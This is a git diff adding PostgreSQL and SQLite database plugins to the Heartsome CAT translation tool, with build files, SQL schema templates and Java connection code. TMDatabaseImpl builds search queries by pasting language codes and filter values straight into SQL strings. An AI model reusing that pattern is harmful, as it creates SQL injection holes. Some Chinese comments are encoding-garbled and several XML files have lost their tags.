diff --git a/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/resource/message_zh.properties b/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/resource/message_zh.properties new file mode 100644 index 0000000..ad4841c --- /dev/null +++ b/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/resource/message_zh.properties @@ -0,0 +1 @@ +oracle.OperateDBImpl.logger1 = [LOG] \u52a0\u8f7d JDBC \u9a71\u52a8\u5931\u8d25 \ No newline at end of file diff --git a/database/net.heartsome.cat.database.postgreSQL/.classpath b/database/net.heartsome.cat.database.postgreSQL/.classpath new file mode 100644 index 0000000..dcb6930 --- /dev/null +++ b/database/net.heartsome.cat.database.postgreSQL/.classpath @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/database/net.heartsome.cat.database.postgreSQL/.project b/database/net.heartsome.cat.database.postgreSQL/.project new file mode 100644 index 0000000..2cf4518 --- /dev/null +++ b/database/net.heartsome.cat.database.postgreSQL/.project @@ -0,0 +1,33 @@ + + + net.heartsome.cat.database.postgreSQL + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + org.eclipse.pde.ds.core.builder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/database/net.heartsome.cat.database.postgreSQL/.settings/org.eclipse.jdt.core.prefs b/database/net.heartsome.cat.database.postgreSQL/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..670a535 --- /dev/null +++ b/database/net.heartsome.cat.database.postgreSQL/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:29:29 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/database/net.heartsome.cat.database.postgreSQL/Configure/db_config.xml b/database/net.heartsome.cat.database.postgreSQL/Configure/db_config.xml new file mode 100644 index 0000000..691410a --- /dev/null +++ b/database/net.heartsome.cat.database.postgreSQL/Configure/db_config.xml @@ -0,0 +1,287 @@ + + + + org.postgresql.Driver + jdbc:postgresql://__SERVER_NAME__:__PORT_NUMBER__/__DATABASE_NAME__ + + localhost + PostgreSQL + 5432 + + + __USER__ + __PASSWORD__ + UTF-8 + + CREATE DATABASE __DATABASE_NAME__ + DROP DATABASE __DATABASE_NAME__ + + + + + CREATE TABLE HSCATSYSDB + ( + DBNAME varchar(150) not null, + QUALITY char(1) not null, + USERS text, + TYPE int not null, + primary key (DBNAME) + ) + + + INSERT INTO HSCATSYSDB (DBNAME,QUALITY,TYPE) VALUES (?,?,?) + DELETE FROM HSCATSYSDB WHERE DBNAME=? + SELECT DBNAME, QUALITY, USERS FROM HSCATSYSDB WHERE TYPE=? + + + + + + CREATE TABLE MHEADER + ( + MHPKID serial, + CREATIONTOOL varchar(200), + CTVERSION varchar(200), + TMF varchar(255), + SRCLANG varchar(6), + ADMINLANG varchar(6), + DATATYPE varchar(10), + SEGTYPE varchar(10), + CREATIONID varchar(40), + CREATIONDATE varchar(28), + CHANGEID varchar(40), + CHANGEDATE varchar(28), + ENCODING varchar(15), + primary key (MHPKID) + ) + + + CREATE TABLE MHEADERNODE + ( + MHNPKID serial, + MHPKID int not null, + NNAME varchar(100) not null, + NTYPE char(1) not null, + CONTENT text not null, + primary key (MHNPKID) + ) + + + create table MTU + ( + MTUPKID serial, + MHPKID int not null, + TUID varchar(100), + CREATIONID varchar(40), + CREATIONDATE timestamp, + CHANGEID varchar(40), + CHANGEDATE timestamp, + CREATIONTOOL varchar(200), + CTVERSION varchar(200), + CLIENT varchar(255), + PROJECTREF varchar(255), + JOBREF varchar(255), + primary key (MTUPKID) + ) + + + CREATE TABLE LANG + ( + LANGCODE varchar(6) not null, + primary key (LANGCODE) + ) + + + CREATE TABLE MPROP + ( + MPPKID serial, + PARENTNAME varchar(30) not null, + PARENTID int not null, + PNAME varchar(100) not null, + LANG varchar(6), + ENCODING varchar(15), + CONTENT text not null, + primary key (MPPKID) + ) + + + CREATE TABLE MEXTRA + ( + MEPKID serial, + PARENTNAME varchar(30) not null, + PARENTID int not null, + NTYPE char(1) not null, + NNAME varchar(100) not null, + CONTENT text not null, + primary key (MEPKID) + ) + + + CREATE TABLE MNOTE + ( + MNPKID serial, + PARENTNAME varchar(30) not null, + PARENTID int not null, + CONTENT text not null, + CREATIONID varchar(40), + CREATIONDATE varchar(28), + CHANGEID varchar(40), + CHANGEDATE varchar(28), + ENCODING varchar(15), + LANG varchar(6), + primary key (MNPKID) + ) + + + CREATE TABLE TEXTDATA + ( + TPKID serial, + TYPE char(1) not null, + GROUPID int not null, + HASH int not null, + PURE text not null, + CONTENT text not null, + LANG varchar(6) not null, + PRECONTEXT varchar(100), + NEXTCONTEXT varchar(100), + primary key (TPKID) + ) + + + + + + create table BATTRIBUTE + ( + BAPKID serial, + BMTHPKID int not null, + ANAME varchar(100) not null, + AVALUE varchar(255) not null, + PARENTNAME varchar(100) not null, + primary key (BAPKID) + ) + + + create table BMARTIFHEADER + ( + BMTHPKID serial, + HID varchar(100), + CONTENT text not null, + primary key (BMTHPKID) + ) + + + create table BREFOBJECTLIST + ( + BROLPKID serial, + BMTHPKID int not null, + ROLID varchar(100), + CONTENT text not null, + primary key (BROLPKID) + ) + + + create table BTERMENTRY + ( + BTEPKID serial, + BMTHPKID int not null, + CID varchar(100), + CONTENT text not null, + primary key (BTEPKID) + ) + + + create table BNODE + ( + NPKID serial, + PARENTPKID int not null, + PARENTNAME varchar(100) not null, + NTYPE char not null, + NNAME varchar(100) not null, + NID varchar(100), + CONTENT text not null, + primary key (NPKID) + ) + + + + + + CREATE INDEX IDX_TEXTDATA_GROUPID ON TEXTDATA (GROUPID) + CREATE INDEX IDX_TEXTDATA_HASH ON TEXTDATA (HASH) + CREATE INDEX IDX_MPROP_PARENTID ON MPROP (PARENTID) + CREATE INDEX IDX_MEXTRA_PARENTID ON MEXTRA (PARENTID) + CREATE INDEX IDX_MNOTE_PARENTID ON MNOTE (PARENTID) + + + + + + + create table MATRIX___LANG__ + ( + MPKID serial, + TPKID int not null, + NGRAM int not null, + SEGSIZE smallint not null, + primary key (MPKID) + ) + + + + + CREATE INDEX IDX___LANG___NGRAM_SEGSIZE ON MATRIX___LANG__ (NGRAM,SEGSIZE) + + + + INSERT INTO MATRIX___LANG__ + (TPKID,NGRAM,SEGSIZE) + VALUES (?,?,?) + + + DELETE FROM MATRIX___LANG__ + WHERE __WHERE__ + + + SELECT TPKID FROM MATRIX___LANG__ + WHERE SEGSIZE >=? AND SEGSIZE <=? AND NGRAM IN (__SET__) + + + SELECT + TPKID + FROM + MATRIX_ENUS + WHERE SEGSIZE >=? AND SEGSIZE <=? AND NGRAM IN (__SET__) + GROUP BY TPKID HAVING COUNT(TPKID) BETWEEN ? AND ? + + + + + + + SELECT B.GROUPID, LANG, PURE, CONTENT, PRECONTEXT,NEXTCONTEXT, TUID, CREATIONID, CREATIONDATE, + CHANGEID, CHANGEDATE, PROJECTREF, JOBREF, CLIENT + FROM + (SELECT GROUPID FROM TEXTDATA WHERE TPKID IN (__SET__)) A + LEFT JOIN TEXTDATA B ON A.GROUPID = B.GROUPID + LEFT JOIN MTU C ON C.MTUPKID=A.GROUPID + WHERE B.TYPE='M' AND B.LANG=? OR B.LANG=? + + + + SELECT A.TPKID, A.PURE, B.PURE, C.CONTENT FROM TEXTDATA A + LEFT JOIN TEXTDATA B ON A.GROUPID=B.GROUPID AND B.LANG=? AND B.TYPE='B' + LEFT JOIN BNODE C ON A.GROUPID = C.PARENTPKID AND C.PARENTNAME = 'termEntry' + AND C.NTYPE = 'E' AND C.NNAME = 'note' AND (C.NID = ? OR C.NID = ?) + WHERE A.TYPE='B' AND A.LANG=? AND POSITION(LOWER(A.PURE) IN ?) > 0 AND B.PURE IS NOT NULL + + + \ No newline at end of file diff --git a/database/net.heartsome.cat.database.postgreSQL/META-INF/MANIFEST.MF b/database/net.heartsome.cat.database.postgreSQL/META-INF/MANIFEST.MF new file mode 100644 index 0000000..c85a085 --- /dev/null +++ b/database/net.heartsome.cat.database.postgreSQL/META-INF/MANIFEST.MF @@ -0,0 +1,15 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Database PostgreSQL +Bundle-SymbolicName: net.heartsome.cat.database.postgreSQL +Bundle-Version: 8.0.0.R8b_v20121106 +Bundle-Activator: net.heartsome.cat.database.postgresql.Activator +Require-Bundle: org.eclipse.core.runtime, + net.heartsome.cat.database;bundle-version="1.0.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + net.heartsome.cat.common.core;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-ClassPath: ., + lib/postgresql-8.4-701.jdbc4.jar +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/database/net.heartsome.cat.database.postgreSQL/build.properties b/database/net.heartsome.cat.database.postgreSQL/build.properties new file mode 100644 index 0000000..d6c3425 --- /dev/null +++ b/database/net.heartsome.cat.database.postgreSQL/build.properties @@ -0,0 +1,7 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + lib/postgresql-8.4-701.jdbc4.jar,\ + Configure/ diff --git a/database/net.heartsome.cat.database.postgreSQL/lib/postgresql-8.0-311.jdbc3.jar b/database/net.heartsome.cat.database.postgreSQL/lib/postgresql-8.0-311.jdbc3.jar new file mode 100644 index 0000000..e755292 Binary files /dev/null and b/database/net.heartsome.cat.database.postgreSQL/lib/postgresql-8.0-311.jdbc3.jar differ diff --git a/database/net.heartsome.cat.database.postgreSQL/lib/postgresql-8.4-701.jdbc4.jar b/database/net.heartsome.cat.database.postgreSQL/lib/postgresql-8.4-701.jdbc4.jar new file mode 100644 index 0000000..e21beec Binary files /dev/null and b/database/net.heartsome.cat.database.postgreSQL/lib/postgresql-8.4-701.jdbc4.jar differ diff --git a/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/Activator.java b/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/Activator.java new file mode 100644 index 0000000..db3b63e --- /dev/null +++ b/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/Activator.java @@ -0,0 +1,61 @@ +package net.heartsome.cat.database.postgresql; + +import net.heartsome.cat.database.DBServiceProvider; + +import org.eclipse.core.runtime.Plugin; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends Plugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.database.postgreSQL"; + + // The shared instance + private static Activator plugin; + + // The postgresql service registration + private ServiceRegistration postgresqlServiceRegistration; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + + DbServiceProviderImpl service = new DbServiceProviderImpl(); + postgresqlServiceRegistration = context.registerService(DBServiceProvider.class, service, null); + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + + postgresqlServiceRegistration.unregister(); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/DbServiceProviderImpl.java b/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/DbServiceProviderImpl.java new file mode 100644 index 0000000..9829223 --- /dev/null +++ b/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/DbServiceProviderImpl.java @@ -0,0 +1,17 @@ +package net.heartsome.cat.database.postgresql; + +import net.heartsome.cat.database.DBServiceProvider; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.DBOperator; + +public class DbServiceProviderImpl implements DBServiceProvider{ + + public SystemDBOperator getOperateDBInstance() { + return new OperateDBImpl(); + } + + public DBOperator getTmDatabaseInstance() { + return new TMDatabaseImpl(); + } + +} diff --git a/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/MetaDataImpl.java b/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/MetaDataImpl.java new file mode 100644 index 0000000..a1885ff --- /dev/null +++ b/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/MetaDataImpl.java @@ -0,0 +1,26 @@ +package net.heartsome.cat.database.postgresql; + +import net.heartsome.cat.common.bean.MetaData; + +public class MetaDataImpl extends MetaData{ + + @Override + public boolean dataPathSupported() { + return false; + } + + @Override + public boolean instanceSupported() { + return false; + } + + /** + * PostgreSQLæ•°æ®åº“å称,åªæ”¯æŒå°å†™ + * (non-Javadoc) + * @see net.heartsome.cat.common.bean.MetaData#setDatabaseName(java.lang.String) + */ + @Override + public void setDatabaseName(String databaseName) { + this.databaseName = databaseName.toLowerCase(); + } +} diff --git a/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/OperateDBImpl.java b/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/OperateDBImpl.java new file mode 100644 index 0000000..7ecd8fb --- /dev/null +++ b/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/OperateDBImpl.java @@ -0,0 +1,146 @@ +package net.heartsome.cat.database.postgresql; + +import java.net.URL; +import java.sql.Connection; +import java.sql.DriverManager; +import java.sql.SQLException; +import java.sql.Statement; +import java.util.List; +import java.util.Properties; + +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBConfig; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.Utils; +import net.heartsome.cat.database.postgresql.resource.Messages; + +import org.eclipse.core.runtime.Platform; +import org.osgi.framework.Bundle; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class OperateDBImpl extends SystemDBOperator { + + private Logger logger = LoggerFactory.getLogger(this.getClass()); + + public OperateDBImpl() { + metaData = new MetaDataImpl(); + Bundle buddle = Platform.getBundle(Activator.PLUGIN_ID); + URL fileUrl = buddle.getEntry(Constants.DBCONFIG_PATH); + dbConfig = new DBConfig(fileUrl); + metaData.setServerName(dbConfig.getDefaultServer()); + metaData.setPort(dbConfig.getDefaultPort()); + metaData.setDbType(dbConfig.getDefaultType()); + } + + @Override + public boolean checkDbConnection() { + Connection conn = null; + Statement stmt = null; + String driver = dbConfig.getDriver(); + String url = Utils.replaceParams(dbConfig.getDbURL(), metaData); + + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + // 创建数æ®åº“ + try { + conn = getConnection(driver, url.substring(0, url.lastIndexOf("/")) + "/template1", prop); //$NON-NLS-1$ + } catch (ClassNotFoundException e) { + logger.error(Messages.getString("postgresql.OperateDBImpl.logger1"), e); + return false; + } catch (SQLException e) { + logger.error(Messages.getString("postgresql.OperateDBImpl.logger2"), e); + return false; + } finally { + freeConnection(stmt, conn); + } + return true; + } + + @Override + protected int createDB(String createDb, List createTables, MetaData metaData) throws SQLException { + Connection conn = null; + Statement stmt = null; + String driver = dbConfig.getDriver(); + String url = Utils.replaceParams(dbConfig.getDbURL(), metaData); + + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + // 创建数æ®åº“ + try { + conn = getConnection(driver, url.substring(0, url.lastIndexOf("/")) + "/template1", prop); //$NON-NLS-1$ + stmt = conn.createStatement(); + stmt.execute(createDb); + } catch (ClassNotFoundException e) { + logger.error(Messages.getString("postgresql.OperateDBImpl.logger1"), e); + return Constants.FAILURE; + } finally { + freeConnection(stmt, conn); + } + + // 创建数æ®åº“表格 + try { + conn = getConnection(driver, url, prop); + conn.setAutoCommit(false); + stmt = conn.createStatement(); + if (createTables != null) { + for (String i : createTables) { + String step = Utils.replaceParams(i, metaData); + stmt.execute(step); + } + } + conn.commit(); + } catch (SQLException e) { + try { + if (conn != null && !conn.isClosed()) { + conn.rollback(); + } + } catch (SQLException e1) { + logger.warn("", e1); + } + logger.warn("", e); + return Constants.FAILURE; + } catch (ClassNotFoundException e) { + try { + if (conn != null && !conn.isClosed()) { + conn.rollback(); + } + } catch (SQLException e1) { + logger.warn("", e1); + } + logger.warn("", e); + return Constants.FAILURE; + } finally { + freeConnection(stmt, conn); + } + return Constants.SUCCESS; + } + + @Override + public void dropDb(String dbName) throws SQLException { + Connection conn = null; + Statement stmt = null; + String driver = dbConfig.getDriver(); + metaData.setDatabaseName(dbName); + String url = Utils.replaceParams(dbConfig.getDbURL(), metaData); + + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + // 删除数æ®åº“ + try { + conn = getConnection(driver, url.substring(0, url.lastIndexOf("/")) + "/template1", prop); //$NON-NLS-1$ + stmt = conn.createStatement(); + String dropDb = Utils.replaceParams(dbConfig.getDropDb(), metaData); + stmt.execute(dropDb); + } catch (ClassNotFoundException e) { + logger.warn("", e); + } finally { + freeConnection(stmt, conn); + } + } + + @Override + protected Connection getConnection(String driver, String url, Properties prop) throws ClassNotFoundException, + SQLException { + Class.forName(driver); + return DriverManager.getConnection(url, prop); + } +} diff --git a/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/TMDatabaseImpl.java b/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/TMDatabaseImpl.java new file mode 100644 index 0000000..e7ba72e --- /dev/null +++ b/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/TMDatabaseImpl.java @@ -0,0 +1,168 @@ +package net.heartsome.cat.database.postgresql; + +import java.net.URL; +import java.sql.DriverManager; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Timestamp; +import java.util.Hashtable; +import java.util.Properties; +import java.util.Vector; + +import net.heartsome.cat.common.util.DateUtils; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBConfig; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.Utils; + +import org.eclipse.core.runtime.Platform; +import org.osgi.framework.Bundle; + +/** + * @author terry + * @version + * @since JDK1.6 + */ +public class TMDatabaseImpl extends DBOperator { + + public void start() throws SQLException, ClassNotFoundException { + String driver = dbConfig.getDriver(); + Class.forName(driver); + String url = Utils.replaceParams(dbConfig.getDbURL(), metaData); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + conn = DriverManager.getConnection(url, prop); + // 在 PostgreSQL 中如果使用事务,那么在事务中创建表格会抛出异常。 + conn.setAutoCommit(false); + } + + /** + * 构造函数 + */ + public TMDatabaseImpl() { + Bundle buddle = Platform.getBundle(Activator.PLUGIN_ID); + URL fileUrl = buddle.getEntry(Constants.DBCONFIG_PATH); + dbConfig = new DBConfig(fileUrl); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.database.DBOperator#replaceTMOrTBConditionSql(java.lang.String, java.lang.String, boolean, + * boolean, boolean, java.lang.String, java.lang.String[]) + */ + public String replaceTMOrTBConditionSql(String sql, String strSearch, boolean isCaseSensitive, + boolean isApplyRegular, boolean isIgnoreMark, String srcLang, String[] arrFilter) { + strSearch = strSearch == null ? "" : strSearch; + StringBuffer strCondition = new StringBuffer(); + if (srcLang != null) { + strCondition.append(" AND A.LANG='" + srcLang + "'"); + } else { + return null; + } + if (isApplyRegular) { + // ~ 匹é…正则表达å¼ï¼Œå¤§å°å†™ç›¸å…³ã€‚例: 'thomas' ~ '.*thomas.*' + // ~* 匹é…正则表达å¼ï¼Œå¤§å°å†™æ— å…³ã€‚例: 'thomas' ~* '.*Thomas.*' + // !~ ä¸åŒ¹é…正则表达å¼ï¼Œå¤§å°å†™ç›¸å…³ã€‚例: 'thomas' !~ '.*Thomas.*' + // !~* ä¸åŒ¹é…正则表达å¼ï¼Œå¤§å°å†™æ— å…³ã€‚例: 'thomas' !~* '.*vadim.*' + strCondition.append(" AND " + (isIgnoreMark ? "A.PURE" : "A.CONTENT") + " " + + (isCaseSensitive ? "~" : "~*") + " '" + TextUtil.replaceRegextSqlWithMOP(strSearch) + "'"); + } else if (isCaseSensitive) { + // postgreSql 中区分大å°å†™ç”¨ LIKE,ä¸åŒºåˆ†ç”¨ ILIKE + strCondition.append(" AND " + (isIgnoreMark ? "A.PURE" : "A.CONTENT") + " LIKE '%" + + TextUtil.cleanStringByLikeWithPostgreSql(strSearch) + "%'"); + } else { + strCondition.append(" AND " + (isIgnoreMark ? "A.PURE" : "A.CONTENT") + " ILIKE '%" + + TextUtil.cleanStringByLikeWithPostgreSql(strSearch) + "%'"); + } + if (arrFilter != null) { + StringBuffer strFilter = new StringBuffer(arrFilter[1].replaceAll("LIKE", "ILIKE").replaceAll("like", + "ILIKE") + + " '%" + TextUtil.cleanStringByLikeWithPostgreSql(arrFilter[2]) + "%'"); + // 过滤æ¡ä»¶è¦åŠ åœ¨æºè¯­è¨€ä¸­ + if (arrFilter[0].equalsIgnoreCase(srcLang)) { + sql = Utils.replaceString(sql, "__TABLE_TEXTDATA__", ""); + strFilter.insert(0, " AND A.PURE "); + strCondition.append(strFilter.toString()); + } else { + sql = Utils.replaceString(sql, "__TABLE_TEXTDATA__", " ,TEXTDATA B "); + strCondition.append(" AND A.GROUPID=B.GROUPID AND B.TYPE='M' AND B.LANG='" + arrFilter[0] + "'"); + strFilter.insert(0, " AND B.PURE "); + strCondition.append(strFilter.toString()); + } + } else { + sql = Utils.replaceString(sql, "__TABLE_TEXTDATA__", ""); + } + sql = Utils.replaceString(sql, "__CONDITION__", strCondition.toString()); + return sql; + } + + @Override + public Vector> findAllTermsByText(String srcPureText, String srcLang, String tarLang) + throws SQLException { + Vector> terms = new Vector>(); + // 构建SQL + String getTermSql = dbConfig.getOperateDbSQL("getTerm"); + PreparedStatement stmt = conn.prepareStatement(getTermSql); + + stmt.setString(1, tarLang); + stmt.setString(2, srcLang + "," + tarLang); + stmt.setString(3, tarLang + "," + srcLang); + stmt.setString(4, srcLang); + stmt.setString(5, srcPureText.toLowerCase()); + + /* + * SELECT A.TPKID, A.PURE, B.PURE FROM TEXTDATA A LEFT JOIN TEXTDATA B ON A.GROUPID=B.GROUPID AND B.LANG=? AND + * B.TYPE='B' WHERE A.TYPE='B' AND A.LANG=? AND PATINDEX(STUFF('%%',2,0,CAST(A.PURE AS NVARCHAR(4000))),?) > + * 0 AND B.PURE IS NOT NULL + */ + + ResultSet rs = stmt.executeQuery(); + while (rs.next()) { + String tuid = rs.getString(1); + String srcWord = rs.getString(2); + String tgtWord = rs.getString(3); + String property = rs.getString(4); + Hashtable tu = new Hashtable(); + tu.put("tuid", tuid); + tu.put("srcLang", srcLang); + tu.put("srcWord", srcWord); + tu.put("tgtLang", tarLang); + tu.put("tgtWord", tgtWord); + tu.put("property", property == null ? "" : property); + terms.add(tu); + } + rs.close(); + stmt.close(); + return terms; + } + + public void updateTUVContent(int tuvId, String hashCode, String pureText, String content) throws SQLException { + String updateTUVContent = dbConfig.getOperateDbSQL("update-tuvcontent"); + PreparedStatement prepareStatement = conn.prepareStatement(updateTUVContent); + prepareStatement.setInt(1, Integer.parseInt(hashCode)); + prepareStatement.setString(2, pureText); + prepareStatement.setString(3, content); + prepareStatement.setInt(4, tuvId); + prepareStatement.executeUpdate(); + prepareStatement.close(); + } + + + public boolean updateTuAttrByColumn(String colummName, String value) throws SQLException { + String updateSql = dbConfig.getOperateDbSQL("update-tu-attr-by-column-name"); + updateSql = updateSql.replaceAll("_COLUMN_NAME_", colummName); + PreparedStatement prepareStatement = conn.prepareStatement(updateSql); + if("CREATIONDATE".equals(colummName) || "CHANGEDATE".equals(colummName)){ + value = value == null || value.equals("") ? DateUtils.getStringDate() : value; + prepareStatement.setTimestamp(1, Timestamp.valueOf(value)); + }else{ + prepareStatement.setString(1, value); + } + int executeUpdate = prepareStatement.executeUpdate(); + if (executeUpdate > 0) { + return true; + } + return false; + } +} diff --git a/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/resource/Messages.java b/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/resource/Messages.java new file mode 100644 index 0000000..dc41519 --- /dev/null +++ b/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/resource/Messages.java @@ -0,0 +1,40 @@ +package net.heartsome.cat.database.postgresql.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.database.postgresql.resource.message"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/resource/message.properties b/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/resource/message.properties new file mode 100644 index 0000000..79897f9 --- /dev/null +++ b/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/resource/message.properties @@ -0,0 +1,2 @@ +postgresql.OperateDBImpl.logger1 = [LOG] \u52a0\u8f7d JDBC \u9a71\u52a8\u5931\u8d25 +postgresql.OperateDBImpl.logger2 = [LOG] \u5efa\u7acb\u6570\u636e\u5e93\u670d\u52a1\u5668\u8fde\u63a5\u5931\u8d25 \ No newline at end of file diff --git a/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/resource/message_en.properties b/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/resource/message_en.properties new file mode 100644 index 0000000..da4ee20 --- /dev/null +++ b/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/resource/message_en.properties @@ -0,0 +1,2 @@ +postgresql.OperateDBImpl.logger1 = [LOG] \u52a0\u8f7d JDBC \u9a71\u52a8\u5931\u8d25 +postgresql.OperateDBImpl.logger2 = [LOG] \u5efa\u7acb\u6570\u636e\u5e93\u670d\u52a1\u5668\u8fde\u63a5\u5931\u8d25 diff --git a/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/resource/message_zh.properties b/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/resource/message_zh.properties new file mode 100644 index 0000000..79897f9 --- /dev/null +++ b/database/net.heartsome.cat.database.postgreSQL/src/net/heartsome/cat/database/postgresql/resource/message_zh.properties @@ -0,0 +1,2 @@ +postgresql.OperateDBImpl.logger1 = [LOG] \u52a0\u8f7d JDBC \u9a71\u52a8\u5931\u8d25 +postgresql.OperateDBImpl.logger2 = [LOG] \u5efa\u7acb\u6570\u636e\u5e93\u670d\u52a1\u5668\u8fde\u63a5\u5931\u8d25 \ No newline at end of file diff --git a/database/net.heartsome.cat.database.sqlite/.classpath b/database/net.heartsome.cat.database.sqlite/.classpath new file mode 100644 index 0000000..134481c --- /dev/null +++ b/database/net.heartsome.cat.database.sqlite/.classpath @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/database/net.heartsome.cat.database.sqlite/.project b/database/net.heartsome.cat.database.sqlite/.project new file mode 100644 index 0000000..5fafaba --- /dev/null +++ b/database/net.heartsome.cat.database.sqlite/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.database.sqlite + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/database/net.heartsome.cat.database.sqlite/.settings/org.eclipse.jdt.core.prefs b/database/net.heartsome.cat.database.sqlite/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/database/net.heartsome.cat.database.sqlite/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/database/net.heartsome.cat.database.sqlite/Configure/db_config.xml b/database/net.heartsome.cat.database.sqlite/Configure/db_config.xml new file mode 100644 index 0000000..2ebf3d2 --- /dev/null +++ b/database/net.heartsome.cat.database.sqlite/Configure/db_config.xml @@ -0,0 +1,291 @@ + + + + org.sqlite.JDBC + 